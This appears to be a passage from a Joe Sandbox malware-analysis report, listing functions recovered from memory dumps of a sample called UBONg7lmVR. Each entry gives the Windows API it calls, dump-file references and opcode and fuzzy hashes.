Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0B3A889D

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7fe4dec91d7cde1e3ec8927ab5c5979e93abeb8b8be9f1de0a5120ce179e8293
Instruction ID: 7221ec4d00dccbc0b20401e2a712bb61562ead043c4ce12b5dc0b70653fbdfc3
Opcode Fuzzy Hash: 7fe4dec91d7cde1e3ec8927ab5c5979e93abeb8b8be9f1de0a5120ce179e8293
Instruction Fuzzy Hash: 5C1156347256508FC725AB3DC45496A7BE9EFC655132540EAE502CF3B6DF21DC02C751

Function 0B3AB370 Relevance: 1.6, APIs: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 0B3AB3F5

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 59d1f2a2693dc59535b6cd89b0f671d9ba08d35325ef566687ecb03af34f94a6
Instruction ID: 527d8ef2518533ef747d1e84d776abe28b450e767328411ce1671b7d4d665df4
Opcode Fuzzy Hash: 59d1f2a2693dc59535b6cd89b0f671d9ba08d35325ef566687ecb03af34f94a6
Instruction Fuzzy Hash: 122132B5C013499FCB10CFAAD888ADEFBB4FB88310F20846ED459A7200D375A548CFA1

Function 0B3AAE78 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 0B3AAEE9

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 5689cb99dac97b6a0a17aba72762bd9a7d3f1450a2c0f70682cfff36f9ec7928
Instruction ID: 85cfd192f2c744ccb54384241fe06595bae058007b04ab927e8b0a251e5a7875
Opcode Fuzzy Hash: 5689cb99dac97b6a0a17aba72762bd9a7d3f1450a2c0f70682cfff36f9ec7928
Instruction Fuzzy Hash: 672136B1D002098FDB14DF9AC845BEEFBF5FB88320F24842AD419A3250D778A944CFA4

Function 0B3A8880 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 0B3A889D

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 63e782b305388fcfbbe62f9ecb6f22e9d65108d8fd0fd768c3f8e43752a78628
Instruction ID: bc444893d7717c41780088d11700ea87ebc8144d9a60d3f3404008c1e94c1d69
Opcode Fuzzy Hash: 63e782b305388fcfbbe62f9ecb6f22e9d65108d8fd0fd768c3f8e43752a78628
Instruction Fuzzy Hash: 5F11C9347206118F8618AA3DC45496ABBAEEFC5A5132540AAE902CF3B5DF71EC028795

Function 0AD12A21 Relevance: 1.6, APIs: 1, Instructions: 58comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0AD12A7D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5277aac99a36e7213b59882547b450d63111db9b9e95b2e3d1ff120766e69a45
Instruction ID: ea9c7d8ca5860dbf1da804427576f3135c62d9928211a37f5cf95e27968b4333
Opcode Fuzzy Hash: 5277aac99a36e7213b59882547b450d63111db9b9e95b2e3d1ff120766e69a45
Instruction Fuzzy Hash: 0A215EB1D003449FCB20DF99D58A7DEBBF4EB48314F114819D45AA3651D37AA644CFA4

Function 0B3AB378 Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 0B3AB3F5

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 2f7ee8899e90a3b15471e8ae950aea7f23bb6b9d735e101faec750ea44da0e7f
Instruction ID: 74267534d262075ce2e2f8165e9581d851850ccfdfdf1737aef8b3102804ee4d
Opcode Fuzzy Hash: 2f7ee8899e90a3b15471e8ae950aea7f23bb6b9d735e101faec750ea44da0e7f
Instruction Fuzzy Hash: 7B21E2B59013499FCB14DF9AD884ADEFBB5FB88310F20852ED419A7240D375A548CBA4

Function 05B4C5D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,05B4C431,00000800,00000000,00000000), ref: 05B4C642

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e3208620bd92fe657fc19f08205318404a7a9da89678a3befe7f1ffa8a759873
Instruction ID: f38171b020d3f77e2e4b1e4ad3578b979960616f34aa24229e817b4d176fe7df
Opcode Fuzzy Hash: e3208620bd92fe657fc19f08205318404a7a9da89678a3befe7f1ffa8a759873
Instruction Fuzzy Hash: 572103B68013488FDB10DFAAD444A9EFFF4EB88720F14846ED519A7201C375A945CFA5

Function 05B4BFE8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,05B4C431,00000800,00000000,00000000), ref: 05B4C642

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b8d83c48220da9b12901446e1e72c628a7b0d43e579455f1af178b185e24cf22
Instruction ID: 2f11d23ce728fb5c9b503d1f56fa0e0efa24f22ed6411049abf017c6b059eeff
Opcode Fuzzy Hash: b8d83c48220da9b12901446e1e72c628a7b0d43e579455f1af178b185e24cf22
Instruction Fuzzy Hash: B01114B6C053488FDB20DF9AD448ADEFBF5EB88710F10846ED519A7200C375A945CFA5

Function 09852B50 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 09852BB5

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 550b870c145fde321dbb5e3b15df0f735214b555c80a594f17d8febeb77339b4
Instruction ID: 49a01b950be3b900cfab2bd1240a4ded6f3cfdf317163bc49d36c2c416819621
Opcode Fuzzy Hash: 550b870c145fde321dbb5e3b15df0f735214b555c80a594f17d8febeb77339b4
Instruction Fuzzy Hash: FB1126B5900288DFDB10DF99D485BDABBF4EB48324F10885AD815A7341C378A948CFA5

Function 05BDCC68 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05BDCCD2

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 87e6bd2661428c6cc6a0b7b2a4c34d231840eb6bb7212b36ee3613088e70c3ff
Instruction ID: a0b91e9ba37be26e32bea0889e9ad5ab2d65e4e5dad6a092c10cdd5364598dff
Opcode Fuzzy Hash: 87e6bd2661428c6cc6a0b7b2a4c34d231840eb6bb7212b36ee3613088e70c3ff
Instruction Fuzzy Hash: 1B1112B6C002498FDB14CF9AC844ADEFBF5FB88320F14806AD969A7240D738A545CFA1

Function 05BDCC61 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05BDCCD2

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 349b4c29b0ee8b6c745864048491c57cfc1d7c56f3da21b1857d891a12415a1b
Instruction ID: f8ca72b40b226c48f3187c772162ad455bcd1ba09c198a85422972942c1689bf
Opcode Fuzzy Hash: 349b4c29b0ee8b6c745864048491c57cfc1d7c56f3da21b1857d891a12415a1b
Instruction Fuzzy Hash: D01133B6C002498FDB14CF9AC545BEEFBF4FB88310F14802AD829A7250D338A645CFA0

Function 0AD18B10 Relevance: 1.6, APIs: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0AD18B80

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 1c880365a8d1b21f15b4191d8e2af948f50c471d7fea9231d97549fa3e68c08c
Instruction ID: 31c92b4e182994041cc06abe4d4d38c543d13038f74a9b9f33f441851e09a088
Opcode Fuzzy Hash: 1c880365a8d1b21f15b4191d8e2af948f50c471d7fea9231d97549fa3e68c08c
Instruction Fuzzy Hash: E21126B5C00249DFDB10DF9AD984BEEBBF4FB48320F10802AE519A7250C378A944DF65

Function 0AD18B18 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0AD18B80

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 70e8bc488a9b82537892fda4ebe33851fd85b32ef68eb60d5f648b4766f09b01
Instruction ID: eb6387555f97f9fc8e95037f7986239b06ce311cd4524eb88720af6a9314859e
Opcode Fuzzy Hash: 70e8bc488a9b82537892fda4ebe33851fd85b32ef68eb60d5f648b4766f09b01
Instruction Fuzzy Hash: 5311F6B5C003499FDB10DF9AD984BDEBBF8FB48320F10842AE559A3251C378A544DFA5

Function 0AD18DE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0AD18E4D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a6b44634451c27daf5b9b28ffb75ccae8939b79dcbccbcb10b8b5c82c4e022db
Instruction ID: d3951909fc2b908222b849d4843ed6fb384b0a72e6019005adaeeac47aecc4ca
Opcode Fuzzy Hash: a6b44634451c27daf5b9b28ffb75ccae8939b79dcbccbcb10b8b5c82c4e022db
Instruction Fuzzy Hash: 4611F3B5C102499FDB10DF9AD984BDEBBF8EB48310F11846AE819A3341D378A644CFA5

Function 0AD18DE8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0AD18E4D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0955a5f5c77eab60d9cb58b215c382326fa4b5ea7266ebe7c5fa95ed37528ba0
Instruction ID: bcc61af12fce8c463b1f270b8d7b961286b75992f63e388ddf9c44abf5667a34
Opcode Fuzzy Hash: 0955a5f5c77eab60d9cb58b215c382326fa4b5ea7266ebe7c5fa95ed37528ba0
Instruction Fuzzy Hash: D211F3B58003499FDB10DF9AD884BDEFBF8EB48320F10846AE519A3241C378A544CFA5

Function 0B3AB2BB Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0B3AB327

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: e40027203626fddbdaf85596036f67415b292e6baf85403a114e905a79bc5746
Instruction ID: 98c1ac792239e832f10ff7ceed951394236216736d6a197206347df28b6320c0
Opcode Fuzzy Hash: e40027203626fddbdaf85596036f67415b292e6baf85403a114e905a79bc5746
Instruction Fuzzy Hash: 60113A75800249CFDB20DF9AD445BEEFBF4EB48320F24806AD459A3240D338A644CFA0

Function 0B3AB2C0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0B3AB327

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 250bdd313136398a46d513b831f9988a9a08a54ec52bf54dd544ecd37b38e88b
Instruction ID: 2bc8b245f5d5b9b96be7c93f4f8cab58424ddc0fda5b82dbbf0ada7059008afb
Opcode Fuzzy Hash: 250bdd313136398a46d513b831f9988a9a08a54ec52bf54dd544ecd37b38e88b
Instruction Fuzzy Hash: 3F110A758103498FDB10DF9AD445BEEFBF4EB48320F24846AD559A3241D738A644CFA5

Function 05BDFB28 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 05BDFB85

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3fc5dae9b912255932d4c56440708ce9083094a16965baa0a82eaba60ef0aba5
Instruction ID: dd96566638d18b1f4e50b9bd7b5a7a182cc63aa9417ab9ded0c73c17056794a2
Opcode Fuzzy Hash: 3fc5dae9b912255932d4c56440708ce9083094a16965baa0a82eaba60ef0aba5
Instruction Fuzzy Hash: FA1106B68003499FDB10DF9AC885BEEFBF8FB48320F10845AE559A3241D378A544CFA5

Function 098504AC Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,FFFFFFF4,?), ref: 09852BB5

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 6d6fe5aa4680c48e6d09c80316b977254cf56963ccc73c5ccad0c85c64a7a447
Instruction ID: 728696d009fb0fd6ed2f17c1b68fc06bec9420d876f6c7d19bb4bd93f4863e05
Opcode Fuzzy Hash: 6d6fe5aa4680c48e6d09c80316b977254cf56963ccc73c5ccad0c85c64a7a447
Instruction Fuzzy Hash: 3211E3B5800249DFDB10DF99C589B9EBBF8EB88320F10845AE919A7340D378A944CFA5

Function 05BDB194 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000018,00000001,?), ref: 05BDFF5D

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c999bfc46ad147c1aba3855555bc52bab0ca2e169827fdf7da5d31a22f8f43dc
Instruction ID: 5d2d4b415b4119996dba276d9fd27aa4b4fd3792022e836d1b9065c9b347036e
Opcode Fuzzy Hash: c999bfc46ad147c1aba3855555bc52bab0ca2e169827fdf7da5d31a22f8f43dc
Instruction Fuzzy Hash: CB11F5B58047889FDB10DF99C845BEEFBF8EB48310F10845AE519A7240D375A944CFA5

Function 05BDFB20 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 05BDFB85

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8c0b97015a2e099e4ef4427ca4317c80d7a73c642af2d6ab3c69818439f1bf4e
Instruction ID: bae021822f9c7de9381d1a722a22b08923dc4b8b6595b6d3a257adca49ead4c3
Opcode Fuzzy Hash: 8c0b97015a2e099e4ef4427ca4317c80d7a73c642af2d6ab3c69818439f1bf4e
Instruction Fuzzy Hash: 691116B68003498FDB10DF99C585BEEBBF4FB48320F20845AD459A3241D374A684DFA0

Function 05B4BF50 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05B4BFB6

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 56b8501798609fbc11ecd86a3fc7156d45f102797ccb9aed5245dc644469b51b
Instruction ID: 1fb1d9992f3f703295b50f5089647e05bdefe22fbd7c2bb474f27f2b797f83bd
Opcode Fuzzy Hash: 56b8501798609fbc11ecd86a3fc7156d45f102797ccb9aed5245dc644469b51b
Instruction Fuzzy Hash: 22110FB6C007498FCB20DF9AC844A9EFBF4FB88220F10845AD519A7240D375A545CFA1

Function 05BDD4B0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 05BDD515

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ea563e8b54c937cc4e797ec33e1da1621c82a0acdfe767230c8594dc10d9a73a
Instruction ID: c141c96e86f394f34a7254b42260c0b594622300366e881d233bc1fa7daa1978
Opcode Fuzzy Hash: ea563e8b54c937cc4e797ec33e1da1621c82a0acdfe767230c8594dc10d9a73a
Instruction Fuzzy Hash: 0611F5B58003499FDB10DF9AC945BDEFBF4FB48314F10844AE859A7210D375A544CFA1

Function 0AD122C4 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0AD12A7D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 46d1a0025d93547e7da1c93ebe4ba6cd09ddd533ce09c3b8525b214ca353e930
Instruction ID: 8847b2398eb78e5db2f3542fa39b2612f7d4fca90287562a43705fbf60c0eac8
Opcode Fuzzy Hash: 46d1a0025d93547e7da1c93ebe4ba6cd09ddd533ce09c3b8525b214ca353e930
Instruction Fuzzy Hash: FA1106B58003489FCB20DF9AD485BDEFBF4EB48310F108469D519A7300D379AA44CFA5

Function 0AD18D38 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?), ref: 0AD18D98

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0e79639f312131508c73ad49708a4ee2f4959e633d3d6596b23574cf811426fe
Instruction ID: 8b45a98f99ac9542745fa83c463b463a6e4d486cefb4bf02b232d5b1806ec7cc
Opcode Fuzzy Hash: 0e79639f312131508c73ad49708a4ee2f4959e633d3d6596b23574cf811426fe
Instruction Fuzzy Hash: C71115B5810349DFDB10DF99D589BDEBBF4EB48320F20845AD959A7340D338A644CFA5

Function 098916C4 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

(uq, xrefs: 09892D9A

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: (uq
API String ID: 0-224692576
Opcode ID: b76e4cdea0f0bac30bb7c54bfae81ee1a7e94f66bfc729649389f5f8ab5125d6
Instruction ID: 12d531d27f652bfef36908be210863c23b99dbca902ff947dacacb30c122692c
Opcode Fuzzy Hash: b76e4cdea0f0bac30bb7c54bfae81ee1a7e94f66bfc729649389f5f8ab5125d6
Instruction Fuzzy Hash: A691DB71A15248EFCB19DFA9D4486AEBFF2EF85300F14846EE456E7351CB349805CBA2

Function 0AD192B8 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0AD1931D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: e40cb3b9412a35e3b61a2344d42d6745100a8791bd66647bf4a83ad6fbc566d0
Instruction ID: a46e85806fbc46a1b7b93e9afd1d53f0777db4dee32adcc0cfa661d239783731
Opcode Fuzzy Hash: e40cb3b9412a35e3b61a2344d42d6745100a8791bd66647bf4a83ad6fbc566d0
Instruction Fuzzy Hash: 7C11F2B5C006489FDB10DF9AD884ADEFBF4EB89310F11846AD419A7350D378A644CFA5

Function 0AD18D40 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?), ref: 0AD18D98

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 66b7de743debabc171642cb2b93b11bf8992a780d0fd7bf19573e1bce5484000
Instruction ID: 346916bcb57c03cf4961c9cf05fa5ade650eaf7b54502a7725225e534cbca287
Opcode Fuzzy Hash: 66b7de743debabc171642cb2b93b11bf8992a780d0fd7bf19573e1bce5484000
Instruction Fuzzy Hash: FA1103B58003499FDB10DF9AD985BDEBBF4EB48320F10841AD559A3240D338A544CFA5

Function 05BDD4B8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 05BDD515

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f91e71ffbce6c1adde793d0a0d179a029a10b565ea5f00d45490cee5ff4ab303
Instruction ID: 6c88ffec25531786c798eb6fe62190a6ff519617a54ef14dc3cd0356d497bff0
Opcode Fuzzy Hash: f91e71ffbce6c1adde793d0a0d179a029a10b565ea5f00d45490cee5ff4ab303
Instruction Fuzzy Hash: FF11D0B58003499FDB10DF9AC889BDEFBF8FB48324F10845AE559A7240D375A944CFA5

Function 05BDFEFC Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000018,00000001,?), ref: 05BDFF5D

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 98247a6bfd132f39f8e9a7cb7f6ed4fa7266f9fa53d07f5f9d67203d816b9485
Instruction ID: 4a164ec603030dcbf1bec15a985f31f4565e6b5102953df0b5c3888bf89a82e7
Opcode Fuzzy Hash: 98247a6bfd132f39f8e9a7cb7f6ed4fa7266f9fa53d07f5f9d67203d816b9485
Instruction Fuzzy Hash: BB11F2B58003889FDB10DF99C989BEEFBF4EB48310F20844AD519A7240D374A544CFA0

Function 0AD192C0 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 0AD1931D

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 53cd2e4ff6605f0a430f26d1031898b83c1cb08916dd5fc2550f8c4486fdc93f
Instruction ID: 7aced873f5a378ea9038516832655bb1966732bb05ac7be8dc3e00b9b858c339
Opcode Fuzzy Hash: 53cd2e4ff6605f0a430f26d1031898b83c1cb08916dd5fc2550f8c4486fdc93f
Instruction Fuzzy Hash: B111CEB5C006499FCB10DF9AD884ADEFBF4EB88320F10842AD519A7350D378A644CFA5

Function 0989594E Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

Huq, xrefs: 09895A6F

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: Huq
API String ID: 0-93357626
Opcode ID: a8e929330287263312ce372cc3cc69cf486937e1a556f63cb9c2d891632bf216
Instruction ID: eeb808033d50423be7d3ace24806b71917a8e467085051c954de5f86a28b4b67
Opcode Fuzzy Hash: a8e929330287263312ce372cc3cc69cf486937e1a556f63cb9c2d891632bf216
Instruction Fuzzy Hash: 63418E356046588FCF05DF68C9949AE7BF2EF89300F1584A9E906EB362DB35ED05CB60

